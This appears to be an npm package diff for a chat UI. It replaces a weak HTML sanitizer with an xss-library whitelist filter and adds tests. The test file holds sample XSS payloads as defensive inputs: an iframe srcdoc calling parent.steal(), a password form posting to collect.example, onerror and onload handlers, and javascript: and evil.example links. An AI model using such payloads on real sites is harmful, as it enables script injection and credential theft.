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"}
@@ -0,0 +1,2 @@
1
+ export declare function sanitizeChatHtml(html: string): string;
2
+ //# sourceMappingURL=sanitizeChatHtml.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sanitizeChatHtml.d.ts","sourceRoot":"","sources":["../../../src/components/messages-container-ui/sanitizeChatHtml.ts"],"names":[],"mappings":"AA2DA,wBAAgB,gBAAgB,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAErD"}
@@ -0,0 +1,50 @@
1
+ import {getDefaultWhiteList,FilterXSS}from'xss';import {TABLE_SCROLL_CLASS}from'./markdownTables.js';/**
2
+ * The one way chat HTML reaches the page: every message a bubble renders as HTML - an agent reply, markdown parsed to
3
+ * HTML, a builder text block - goes through here first.
4
+ *
5
+ * Chat text is written by people and by the agent, and the agent repeats what web pages say, so it is treated as
6
+ * hostile. Formatting survives (headings, lists, tables, code, links, images); nothing that runs, embeds a document,
7
+ * takes input or restyles the page does. The hand-rolled sanitizer this replaces kept `<iframe srcdoc>` (a document in
8
+ * the app's own origin, so its script could read the app's storage), forms and inputs, and inline styles (a message's
9
+ * `position: fixed` markup was laid over the whole app).
10
+ *
11
+ * A whitelist filter that parses the string itself, so the server render and the browser produce the same markup and
12
+ * hydration matches. Tags off the list are dropped (their text stays); script, style and frame bodies go entirely.
13
+ */
14
+ const ALLOWED_URI = /^(?:https?:|mailto:|tel:|#|\/(?!\/))/i;
15
+ // Classes are page styling: the app's utility classes would do what an inline style does (`fixed inset-0`), so only
16
+ // the ones this renderer puts there itself survive.
17
+ const ALLOWED_CLASS = (tag, value) => value.split(/\s+/).filter(c => tag === 'div' && c === TABLE_SCROLL_CLASS || tag === 'code' && /^language-[\w-]+$/.test(c)).join(' ');
18
+ const whiteList = (() => {
19
+ const list = getDefaultWhiteList();
20
+ // Media players and image maps are not chat formatting.
21
+ for (const tag of ['audio', 'video', 'source', 'track', 'area', 'map']) delete list[tag];
22
+ list.a = ['href', 'title', 'target'];
23
+ list.div = [...(list.div ?? []), 'class'];
24
+ list.code = [...(list.code ?? []), 'class'];
25
+ return list;
26
+ })();
27
+ const filter = new FilterXSS({
28
+ whiteList,
29
+ stripIgnoreTag: true,
30
+ // Elements whose content is not text to show. Void tags (embed, frame) have none and are dropped with the rest.
31
+ stripIgnoreTagBody: ['script', 'style', 'iframe', 'object', 'noscript', 'template', 'textarea'],
32
+ css: false,
33
+ onTagAttr(tag, name, value) {
34
+ if (name === 'class') {
35
+ const kept = ALLOWED_CLASS(tag, value);
36
+ return kept ? `class="${kept}"` : '';
37
+ }
38
+ // A link that opens a new tab must not hand that tab a handle back to the app.
39
+ if (tag === 'a' && name === 'target') return 'target="_blank" rel="noopener noreferrer"';
40
+ return undefined;
41
+ },
42
+ safeAttrValue(_tag, name, value) {
43
+ const v = value.trim();
44
+ if (name === 'href' || name === 'src' || name === 'cite') return ALLOWED_URI.test(v) ? v.replace(/"/g, '&quot;') : '';
45
+ return v.replace(/"/g, '&quot;');
46
+ }
47
+ });
48
+ function sanitizeChatHtml(html) {
49
+ return filter.process(html);
50
+ }export{sanitizeChatHtml};//# sourceMappingURL=sanitizeChatHtml.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sanitizeChatHtml.js","sources":["../../../src/components/messages-container-ui/sanitizeChatHtml.ts"],"sourcesContent":[null],"names":[],"mappings":"qGAGA;;;;;;;;;;;;AAYG;AACH,MAAM,WAAW,GAAG,uCAAuC;AAE3D;AACA;AACA,MAAM,aAAa,GAAG,CAAC,GAAW,EAAE,KAAa,KAC7C,KAAK,CAAA,KAAA,CAAA,KAAA,CAAA,CAAA,MAAA,CAAA,CAAA,IAAA,GAAA,KAAA,KAAA,IAAA,CAAA,KAAA,kBAAA,IAAA,GAAA,KAAA,MAAA,IAAA,mBAAA,CAAA,IAAA,CAAA,CAAA,CAAA,CAAA,CAAA,IAAA,CAAA,GAAA,CAAA;MACA,YAAY,CAAA,MAAA;AACZ,EAAA,MAAA,IAAO,GAAE,mBAAmB,EAAA;;AAGrC,EAAA,KAAM,MAAA,GAAS,IAAgB,CAAA,OAAK,EAAA,OAAA,EAAA,QAAA,EAAA,OAAA,EAAA,MAAA,EAAA,KAAA,CAAA,EAAA,OAAA,IAAA,CAAA,GAAA,CAAA;AAChC,EAAA,IAAA,CAAA,CAAA,GAAM,CAAA,MAAO,EAAA,OAAA,EAAA,QAAmB,CAAE;MAClC,CAAA,GAAA,GAAA,CAAA,IAAA,IAAA,CAAA,GAAA,IAAA,EAAA,CAAA,EAAA,OAAA,CAAA;AACA,EAAA,IAAA,CAAA,IAAK,GAAA,CAAM,IAAG,IAAK,SAAS,EAAA,CAAA,EAAA,OAAS,CAAA;AAAmC,EAAA,OAAA,IAAA;IACxE;AACA,MAAA,MAAQ,GAAG,IAAI,SAAS;AACxB,EAAA,SAAK;AACL,EAAA,cAAY,EAAA,IAAA;AAChB;AAEA,EAAA,kBAAmB,EAAA,CAAA,QAAU,EAAA,OAAA,EAAA,QAAA,EAAA,QAAA,EAAA,UAAA,EAAA,UAAA,EAAA,UAAA,CAAA;KACzB,EAAA,KAAA;AACA,EAAA,SAAA,CAAA,GAAA,EAAA,IAAgB,EAAA,KAAI,EAAA;IACpB,IAAA,IAAA,KAAA,OAAA,EAAA;AACA,MAAA,MAAA,IAAA,GAAA,aAAqB,CAAQ,UAAS,CAAE;AACxC,MAAA,OAAK,IAAK,GAAA,CAAA,OAAA,EAAA,IAAA,CAAA,CAAA,CAAA,GAAA,EAAA;AACV,IAAA;AACI;gBACI,GAAM,QAAO,KAAA,UAAiB,OAAO,2CAAE;oBAChC;;eAEX,CAAA,IAAA,EAAA,IAAA,EAAA,KAAA,EAAA;AACA,IAAA,MAAA,CAAA,QAAO,CAAK,IAAG,EAAA;AAAuB,IAAA,IAAA,IAAA,KAAA,6CAAkD,OAAC,WAAA,CAAA,IAAA,CAAA,CAAA,CAAA,GAAA,CAAA,CAAA,OAAA,CAAA,IAAA,EAAA,QAAA,CAAA,GAAA,EAAA;AACzF,IAAA,OAAA,CAAA,CAAA,YAAiB,EAAA,QAAA,CAAA;;AAErB,CAAA,CAAA;AACI,SAAO,gBAAgB,CAAA,IAAA,EAAA;SACvB,MAAI,CAAI,OAAK,CAAA,IAAM,CAAA;"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@admin-layout/tailwind-chat-pro",
3
- "version": "12.2.5-alpha.22",
3
+ "version": "12.2.5-alpha.23",
4
4
  "description": "Customizable base chat / messages container UI (plan mode). The message renderer is injectable, so consumers plug in their own message-group component.",
5
5
  "license": "ISC",
6
6
  "author": "CDMBase LLC",
@@ -25,14 +25,15 @@
25
25
  "marked": "7.0.5",
26
26
  "react-markdown": "^10.1.0",
27
27
  "remark-breaks": "^4.0.0",
28
- "remark-gfm": "^4.0.1"
28
+ "remark-gfm": "^4.0.1",
29
+ "xss": "^1.0.6"
29
30
  },
30
31
  "devDependencies": {
31
32
  "common": "12.2.5-alpha.2",
32
33
  "vitest": "^3.0.4"
33
34
  },
34
35
  "peerDependencies": {
35
- "@admin-layout/tailwind-ui": "12.2.5-alpha.15",
36
+ "@admin-layout/tailwind-ui": "12.2.5-alpha.22",
36
37
  "@common-stack/components-pro": "*",
37
38
  "common": "12.2.5-alpha.2",
38
39
  "react": ">=18"
@@ -43,5 +44,5 @@
43
44
  "typescript": {
44
45
  "definition": "lib/index.d.ts"
45
46
  },
46
- "gitHead": "d8db495e828063c09a588df4e27936a00dce3293"
47
+ "gitHead": "342a66871ec3ef60095779d738e110317df12144"
47
48
  }
@@ -11,6 +11,7 @@ import { FilesList } from './FilesList';
11
11
  import { ErrorFixCard } from './ErrorFixCard';
12
12
  import { useBubbleEntrance } from './useBubbleEntrance';
13
13
  import { TABLE_SCROLL_CLASS, TABLE_STYLES, wrapTables } from './markdownTables';
14
+ import { sanitizeChatHtml } from './sanitizeChatHtml';
14
15
 
15
16
  // Configure marked for better markdown rendering
16
17
  marked.setOptions({
@@ -636,55 +637,6 @@ const getMessageSlotName = (type: string | undefined): string | null => {
636
637
  return null;
637
638
  };
638
639
 
639
- // Enhanced sanitizer that allows most HTML tags while maintaining security
640
- const sanitizeHtml = (html: string): string => {
641
- try {
642
- if (typeof window === 'undefined' || typeof window.DOMParser === 'undefined') {
643
- return html
644
- .replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, '')
645
- .replace(/<style[\s\S]*?>[\s\S]*?<\/style>/gi, '')
646
- .replace(/on\w+\s*=\s*"[^"]*"/gi, '')
647
- .replace(/on\w+\s*=\s*'[^']*'/gi, '')
648
- .replace(/on\w+\s*=\s*[^\s>]+/gi, '')
649
- .replace(/javascript:/gi, '')
650
- .replace(/data:text\/html/gi, '');
651
- }
652
-
653
- const parser = new window.DOMParser();
654
- const doc = parser.parseFromString(html, 'text/html');
655
-
656
- // Only remove the most dangerous tags
657
- const dangerousTags = ['script', 'style'];
658
- dangerousTags.forEach((tag) => {
659
- doc.querySelectorAll(tag).forEach((el) => el.remove());
660
- });
661
-
662
- const walker = doc.createTreeWalker(doc.body, (NodeFilter as any).SHOW_ELEMENT);
663
- let node = walker.nextNode() as Element | null;
664
- while (node) {
665
- Array.from(node.attributes).forEach((attr) => {
666
- const name = attr.name.toLowerCase();
667
- const value = (attr.value || '').toLowerCase();
668
-
669
- // Remove event handlers and javascript protocols
670
- if (name.startsWith('on') || value.startsWith('javascript:')) {
671
- node?.removeAttribute(attr.name);
672
- }
673
-
674
- // Allow most attributes but validate URLs for src/href
675
- if ((name === 'src' || name === 'href') && !/^https?:|^\/.*/.test(attr.value)) {
676
- node?.removeAttribute(attr.name);
677
- }
678
- });
679
- node = walker.nextNode() as Element | null;
680
- }
681
-
682
- return doc.body.innerHTML;
683
- } catch (e) {
684
- return html.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, '');
685
- }
686
- };
687
-
688
640
  // Function to prettify HTML content
689
641
  const prettifyHtmlContent = (htmlContent: string): string => {
690
642
  // Add semantic classes for better styling
@@ -733,7 +685,7 @@ const BuilderLikeRenderer: React.FC<{ blocks?: any[] }> = ({ blocks }) => {
733
685
  if (!type) return null;
734
686
 
735
687
  if (/text/i.test(type)) {
736
- const html = sanitizeHtml(block?.text || block?.data?.text || '');
688
+ const html = sanitizeChatHtml(block?.text || block?.data?.text || '');
737
689
  return (
738
690
  <div
739
691
  key={idx}
@@ -1080,7 +1032,8 @@ export const FormattedMessageContent: React.FC<{
1080
1032
  const parsed = marked.parse(trimmed, { async: false }) as string;
1081
1033
  // Only return if parsing actually produced HTML (not just the same text)
1082
1034
  if (parsed && parsed.trim() !== trimmed && parsed.includes('<')) {
1083
- return { htmlContent: wrapTables(parsed), markdownSource: trimmed as string };
1035
+ // marked passes raw HTML in the text straight through, so its output is sanitized like any HTML.
1036
+ return { htmlContent: sanitizeChatHtml(wrapTables(parsed)), markdownSource: trimmed as string };
1084
1037
  }
1085
1038
  }
1086
1039
 
@@ -1644,7 +1597,7 @@ const ModernMessageBubble: React.FC<ModernMessageBubbleProps> = ({
1644
1597
  className={getAssistantResponseClasses('min-w-0')}
1645
1598
  dangerouslySetInnerHTML={{
1646
1599
  __html: prettifyHtmlContent(
1647
- sanitizeHtml(message.message),
1600
+ sanitizeChatHtml(message.message),
1648
1601
  ),
1649
1602
  }}
1650
1603
  />
@@ -1652,13 +1605,12 @@ const ModernMessageBubble: React.FC<ModernMessageBubbleProps> = ({
1652
1605
  );
1653
1606
  }
1654
1607
 
1608
+ // A person's own message reads as they typed it: markup in it is text,
1609
+ // never part of the page.
1655
1610
  return (
1656
- <div
1657
- className="text-foreground html-content"
1658
- dangerouslySetInnerHTML={{
1659
- __html: prettifyHtmlContent(sanitizeHtml(message.message)),
1660
- }}
1661
- />
1611
+ <div className="text-foreground whitespace-pre-wrap break-words">
1612
+ {message.message}
1613
+ </div>
1662
1614
  );
1663
1615
  } else {
1664
1616
  return (
@@ -1806,7 +1758,7 @@ const ModernMessageBubble: React.FC<ModernMessageBubbleProps> = ({
1806
1758
  'min-w-0 relative max-w-full w-full',
1807
1759
  )}
1808
1760
  dangerouslySetInnerHTML={{
1809
- __html: prettifyHtmlContent(sanitizeHtml(message.message)),
1761
+ __html: prettifyHtmlContent(sanitizeChatHtml(message.message)),
1810
1762
  }}
1811
1763
  />
1812
1764
  </AssistantResponseWrapper>
@@ -0,0 +1,88 @@
1
+ import React from 'react';
2
+ import { renderToStaticMarkup } from 'react-dom/server';
3
+ import { describe, expect, it } from 'vitest';
4
+ import { TABLE_SCROLL_CLASS } from '../markdownTables';
5
+ import { FormattedMessageContent } from '../ModernMessageGroup';
6
+ import { sanitizeChatHtml } from '../sanitizeChatHtml';
7
+
8
+ // What reached the page through the old sanitizer, from a chat message (a person's, or an agent repeating a page).
9
+ describe('sanitizeChatHtml drops what runs, embeds, takes input or restyles the page', () => {
10
+ it('drops an iframe whose srcdoc ran script in the app origin', () => {
11
+ const out = sanitizeChatHtml(`<p>hi</p><iframe srcdoc="<script>parent.steal()</script>"></iframe>`);
12
+ expect(out).toBe('<p>hi</p>');
13
+ });
14
+
15
+ it('drops forms, inputs and buttons, keeping their text', () => {
16
+ const out = sanitizeChatHtml(
17
+ `<form action="https://collect.example/x"><label>Password</label><input name=pw><button>Sign in</button></form>`,
18
+ );
19
+ expect(out).not.toMatch(/<form|<input|<button|action=/i);
20
+ expect(out).toContain('Password');
21
+ });
22
+
23
+ it('drops inline styles and the app classes that would do the same', () => {
24
+ const out = sanitizeChatHtml(
25
+ `<div style="position:fixed;inset:0" class="fixed inset-0 z-50">cover</div><p style="color:red">x</p>`,
26
+ );
27
+ expect(out).toBe('<div>cover</div><p>x</p>');
28
+ });
29
+
30
+ it('drops script and style bodies, handlers and unsafe URLs', () => {
31
+ expect(sanitizeChatHtml(`a<script>alert(1)</script>b<style>body{display:none}</style>c`)).toBe('abc');
32
+ expect(sanitizeChatHtml(`<img src="https://x.example/a.png" onerror="alert(1)">`)).toBe(
33
+ '<img src="https://x.example/a.png">',
34
+ );
35
+ expect(sanitizeChatHtml(`<a href="javascript:alert(1)">x</a>`)).toBe('<a href>x</a>');
36
+ expect(sanitizeChatHtml(`<a href=" JaVaScRiPt:alert(1)">x</a>`)).toBe('<a href>x</a>');
37
+ expect(sanitizeChatHtml(`<a href="//evil.example/">x</a>`)).toBe('<a href>x</a>');
38
+ expect(sanitizeChatHtml(`<img src="data:image/svg+xml,<svg onload=alert(1)>">`)).toBe('<img src>');
39
+ expect(sanitizeChatHtml(`<svg><animate onbegin="alert(1)"/></svg>ok`)).toBe('ok');
40
+ expect(
41
+ sanitizeChatHtml(`<object data="https://x.example/a.swf"></object><embed src="https://x.example/b">ok`),
42
+ ).toBe('ok');
43
+ });
44
+
45
+ it('keeps a new-tab link from reaching back into the app', () => {
46
+ expect(sanitizeChatHtml(`<a href="https://example.com" target="_top">site</a>`)).toBe(
47
+ '<a href="https://example.com" target="_blank" rel="noopener noreferrer">site</a>',
48
+ );
49
+ });
50
+ });
51
+
52
+ describe('sanitizeChatHtml keeps formatting', () => {
53
+ it('keeps headings, emphasis, lists, code, quotes and links on this site or the web', () => {
54
+ const html =
55
+ '<h2>Plan</h2><p><strong>Bold</strong> and <em>soft</em></p><ul><li>one</li></ul>' +
56
+ '<pre><code class="language-ts">const a = 1;</code></pre><blockquote>said</blockquote>' +
57
+ '<a href="https://example.com">web</a> <a href="/?artifact=x">here</a> <a href="mailto:a@b.co">mail</a>';
58
+ expect(sanitizeChatHtml(html)).toBe(html);
59
+ });
60
+
61
+ it("keeps a table and this renderer's own scroll box", () => {
62
+ const html = `<div class="${TABLE_SCROLL_CLASS}"><table><thead><tr><th>A</th></tr></thead><tbody><tr><td>1</td></tr></tbody></table></div>`;
63
+ expect(sanitizeChatHtml(html)).toBe(html);
64
+ });
65
+
66
+ it('gives the server render and the browser the same markup (no DOM needed)', () => {
67
+ expect(typeof window).toBe('undefined');
68
+ expect(sanitizeChatHtml('<p>same <b>everywhere</b></p>')).toBe('<p>same <b>everywhere</b></p>');
69
+ });
70
+ });
71
+
72
+ // marked passes raw HTML in markdown straight through, so the markdown path is sanitized too.
73
+ describe('FormattedMessageContent', () => {
74
+ it('renders markdown with raw HTML in it without the HTML that runs or covers the page', () => {
75
+ const md = [
76
